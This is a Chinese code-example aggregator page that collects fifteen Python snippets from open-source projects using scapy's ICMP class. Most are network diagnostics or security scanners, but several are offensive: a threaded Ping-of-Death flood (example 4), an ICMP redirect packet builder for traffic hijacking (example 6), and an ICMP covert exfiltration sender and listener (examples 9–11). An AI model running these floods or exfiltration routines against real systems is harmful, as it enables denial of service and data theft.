当前位置: 首页>>代码示例>>Python>>正文


Python all.ICMP属性代码示例

本文整理汇总了Python中scapy.all.ICMP属性的典型用法代码示例。如果您正苦于以下问题:Python all.ICMP属性的具体用法?Python all.ICMP怎么用?Python all.ICMP使用的例子?那么, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在scapy.all的用法示例。


在下文中一共展示了all.ICMP属性的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: detect_inactive_hosts

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def detect_inactive_hosts(scan_hosts):
    """ 
    Scans the network to find scan_hosts are live or dead
    scan_hosts can be like 10.0.2.2-4 to cover range. 
    See Scapy docs for specifying targets.   
    """
    global scheduler
    scheduler.enter(RUN_FREQUENCY, 1, detect_inactive_hosts, (scan_hosts, ))
    inactive_hosts = []
    try:
        ans, unans = sr(IP(dst=scan_hosts)/ICMP(), retry=0, timeout=1)
        ans.summary(lambda r : r.sprintf("%IP.src% is alive"))
        for inactive in unans:
            print ("%s is inactive" %inactive.dst)
            inactive_hosts.append(inactive.dst)
        
        print ("Total %d hosts are inactive" %(len(inactive_hosts)))
             
        
    except KeyboardInterrupt:
        exit(0) 
开发者ID:PacktPublishing,项目名称:Python-Network-Programming-Cookbook-Second-Edition,代码行数:23,代码来源:3_7_detect_inactive_machines.py

示例2: ping

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def ping(test_params, show_result=False):
        """Check whether QUIC server is responding."""
        if not test_params:
            return None

        ping_packets = [QUIC_PING_000, QUIC_PING_001]
        for ping_packet in ping_packets:
            ping_data = ping_packet.decode("hex")

            response = udp_sr1(test_params, ping_data)
            if not response:
                continue
            if ICMP in response and response[ICMP].type == 3:
                print_verbose(test_params, "Received ICMP dest-unreachable")
                continue
            if 50 < len(response) < 70 or 1000 < len(response) < 2000:
                return True
            else:
                print ("Received unknown message len: {}".format(len(response)))
            # parsed_response = scrap_response(test_params, response)
            # if check_dtls_response(test_params, parsed_response):
            #     return True
        return False 
开发者ID:Samsung,项目名称:cotopaxi,代码行数:25,代码来源:quic_utils.py

示例3: ping

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def ping(test_params, show_result=False):

        ping_packets = [QUIC_PING_000, QUIC_PING_001]

        for ping_packet in ping_packets:
            ping_data = ping_packet.decode("hex")

            response = udp_sr1(test_params, ping_data)
            if not response:
                continue
            if ICMP in response and response[ICMP].type == 3:
                print_verbose(test_params, "Received ICMP dest-unreachable")
                continue
            if 50 < len(response) < 70 or 1000 < len(response) < 2000:
                return True
            else:
                print ("Received unknown message len: {}".format(len(response)))
            # parsed_response = scrap_response(test_params, response)
            # if check_dtls_response(test_params, parsed_response):
            #     return True
        return False 
开发者ID:Samsung,项目名称:cotopaxi,代码行数:23,代码来源:quic_tester.py

示例4: POD_ATTACK

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def POD_ATTACK(threads, attack_time, target):
	# Finish
	global FINISH
	FINISH = False

	target_ip = target

	print("\033[1;34m"+"[*]"+"\033[0m"+" Starting POD attack...")
	
	threads_list = []

	# POD flood
	def pod_flood():
		global FINISH
		payload = random.choice(list("1234567890qwertyuiopasdfghjklzxcvbnm")) * 60000
		packet  = IP(dst = target_ip) / ICMP(id = 65535, seq = 65535) / payload

		while not FINISH:
			for i in range(16):
				send(packet, verbose = False)
				print("\033[1;32m"+"[+]"+"\033[0m"+" Packet was sent!")

	# Start threads
	for thread in range(0, threads):
		print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...")
		t = Thread(target = pod_flood)
		t.start()
		threads_list.append(t)
	# Sleep selected secounds
	time.sleep(attack_time)
	# Terminate threads
	for thread in threads_list:
		FINISH = True
		thread.join()
	
	print("\033[1;77m"+"[i]"+"\033[0m"+" Attack completed.") 
开发者ID:entynetproject,项目名称:quack,代码行数:38,代码来源:pod.py

示例5: pkt_callback

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def pkt_callback(self, pkt):
        """
        Process PING packets
        """
        if pkt[ICMP].type == 8:
            if pkt[IP].id >= 200 and pkt[IP].id < 300:
                self.pktlen = pkt[IP].id - 200
            elif pkt[IP].id >= 300 and pkt[IP].id < 400:
                self.pkttotal = pkt[IP].id - 300
            elif pkt[IP].id >= 500 and pkt[IP].id < 600:
                self.dic[pkt[IP].id - 500] = '{:04x}'.format(pkt[ICMP].seq)
            elif pkt[IP].id == 666:
                if DEBUG:
                    print(time.strftime("%Y-%m-%d %H:%M:%S ", time.gmtime())
                          + 'PING:' + pkt[IP].src + ':ALARM Case Open!')

        if len(self.dic) == self.pkttotal:
            odic = collections.OrderedDict(sorted(self.dic.items()))
            final = ''
            for value in odic.iteritems():
                final = final + value[1]
            text = decrypt(final[:self.pktlen])
            text = text.strip()
            hexip = text.split(',')[-1]
            text = text.replace(hexip, hextoip(hexip))
            text = 'PING:' + pkt[IP].src + ':' + text
            printer(self.filed, text)
            self.dic = {}
            self.pkttotal = 200 
开发者ID:ekiojp,项目名称:circo,代码行数:31,代码来源:carpa.py

示例6: build_icmp

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def build_icmp(self):
        pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
              IP(src=self.target, dst=self.gateway)/UDP()

        return pkt 
开发者ID:paranoidninja,项目名称:piSociEty,代码行数:7,代码来源:ICMP.py

示例7: detect

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def detect(self, dst_port):
        pkt = IP(dst=self._target) / ICMP(type=ICMP_ECHO_REQUEST, code=0x41)
        response = sr1(pkt, verbose=False, timeout=CFG_PACKET_TIMEOUT)

        if response is None:
            self.ipnet_score = 0
        elif response['ICMP'].code == 0:
            self.ipnet_score = 20
        else:
            self.ipnet_score = -20 
开发者ID:ArmisSecurity,项目名称:urgent11-detector,代码行数:12,代码来源:urgent11_detector.py

示例8: generator

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def generator(self, n, filename):

        time = 0.00114108 * n + 0.157758
        minutes = time/60

        print('Generating packets, it will take %s seconds, moreless (%s, minutes)' % (time, minutes))

        pkgs = [IP(dst='10.0.0.1')/ICMP() for i in range(n)]
        wrpcap(filename, pkgs)

        print('%s packets generated.' % (n)) 
开发者ID:ffmancera,项目名称:pentesting-multitool,代码行数:13,代码来源:flooder_utility.py

示例9: send

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def send(data):
    data = base64.b64encode(data)
    app_exfiltrate.log_message(
        'info', "[icmp] Sending {} bytes with ICMP packet".format(len(data)))
    scapy.sendp(scapy.Ether() /
                scapy.IP(dst=config['target']) / scapy.ICMP() / data, verbose=0) 
开发者ID:sensepost,项目名称:DET,代码行数:8,代码来源:icmp.py

示例10: listen

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def listen():
    app_exfiltrate.log_message('info', "[icmp] Listening for ICMP packets..")
    # Filter for echo requests only to prevent capturing generated replies
    scapy.sniff(filter="icmp and icmp[0]=8", prn=analyze) 
开发者ID:sensepost,项目名称:DET,代码行数:6,代码来源:icmp.py

示例11: analyze

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def analyze(packet):
    src = packet.payload.src
    dst = packet.payload.dst
    try:
        app_exfiltrate.log_message(
            'info', "[icmp] Received ICMP packet from: {0} to {1}".format(src, dst))
        app_exfiltrate.retrieve_data(base64.b64decode(packet.load))
    except:
        pass 
开发者ID:sensepost,项目名称:DET,代码行数:11,代码来源:icmp.py

示例12: traceroute_discovery

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def traceroute_discovery(self):
        config = get_config()
        node_internal_ip = srp1(
            Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout,
        )[IP].src
        return [[node_internal_ip, "24"]]

    # querying azure's interface metadata api | works only from a pod 
开发者ID:aquasecurity,项目名称:kube-hunter,代码行数:10,代码来源:hosts.py

示例13: get_cbr0_ip_mac

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def get_cbr0_ip_mac(self):
        config = get_config()
        res = srp1(Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)
        return res[IP].src, res.src 
开发者ID:aquasecurity,项目名称:kube-hunter,代码行数:6,代码来源:dns.py

示例14: execute

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def execute(self):
        config = get_config()
        logger.debug("Attempting to get kube-dns pod ip")
        self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.netork_timeout)[IP].dst
        cbr0_ip, cbr0_mac = self.get_cbr0_ip_mac()

        kubedns = self.get_kube_dns_ip_mac()
        if kubedns:
            kubedns_ip, kubedns_mac = kubedns
            logger.debug(f"ip={self_ip} kubednsip={kubedns_ip} cbr0ip={cbr0_ip}")
            if kubedns_mac != cbr0_mac:
                # if self pod in the same subnet as kube-dns pod
                self.publish_event(PossibleDnsSpoofing(kubedns_pod_ip=kubedns_ip))
        else:
            logger.debug("Could not get kubedns identity") 
开发者ID:aquasecurity,项目名称:kube-hunter,代码行数:17,代码来源:dns.py

示例15: execute

# 需要导入模块: from scapy import all [as 别名]
# 或者: from scapy.all import ICMP [as 别名]
def execute(self):
        config = get_config()
        self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst
        arp_responses, _ = srp(
            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.network_timeout, verbose=0,
        )

        # arp enabled on cluster and more than one pod on node
        if len(arp_responses) > 1:
            # L3 plugin not installed
            if not self.detect_l3_on_host(arp_responses):
                self.publish_event(PossibleArpSpoofing()) 
开发者ID:aquasecurity,项目名称:kube-hunter,代码行数:14,代码来源:arp.py


注:本文中的scapy.all.ICMP属性示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。